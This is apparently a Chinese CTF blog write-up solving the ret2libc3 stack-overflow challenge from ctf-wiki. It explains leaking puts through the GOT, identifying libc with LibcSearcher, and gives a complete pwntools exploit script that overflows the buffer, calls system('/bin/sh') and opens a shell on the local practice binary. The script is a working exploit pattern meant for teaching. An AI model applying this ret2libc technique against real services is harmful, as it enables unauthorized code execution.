ret2libc3地址泄露

ret2libc3地址泄露

好难 好难₍₍ (̨̡ ‾᷄ᗣ‾᷅ )̧̢ ₎₎

先进行代码分析

ret2libc3地址泄露_第1张图片
通过IDA反编译一下,分析代码;
发现本次实验不能直接运用我们之前system函数和bin/sh,所以我们要通过got表和plt表来找到system和bin/sh的准确位置,然后连接代码;最后进行getshell。

先看看别人的思路

先上个cdsn

   https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/

里面有三个练习 从易到难 一步步实现。

我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github上有人进行收集,如下

    https://github.com/niklasb/libc-database
    

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

开始实验

废话不说 直接上脚本;

from pwn import *                                  # 进入pwn函数库
from LibcSearcher import *                   #进入libc函数库
import pwnlib                                        

context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]

p=process(’./ret2libc3’)
elf=ELF(’./ret2libc3’)
main=0x08048618
payload=‘a’*(0x6c+4)+p32(elf.plt[‘puts’])+p32(main)+p32(elf.got[‘puts’])   #根据汇编语言推算缓冲区大小
#gdb.attach(p)   添加断点

p.recvuntil(’?’)          #接受信息

p.sendline(payload)        

puts=u32(p.recv(4))
print(‘puts’,hex(puts))
libc =LibcSearcher(‘puts’,puts)
libcbase=puts-libc.dump(‘puts’)
system=libcbase+libc.dump(‘system’)
bin_sh=libcbase+libc.dump(‘str_bin_sh’)
print(‘system’,hex(system))
print(‘binsh’,hex(bin_sh))
payload=‘a’*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)    #进行栈溢出  填充ebp+4-(exp+1c)

p.sendline(payload)      #getshell
p.interactive()

运行后得到结果

ret2libc3地址泄露_第2张图片
bingo 得到权限。

你可能感兴趣的:(ruanjian)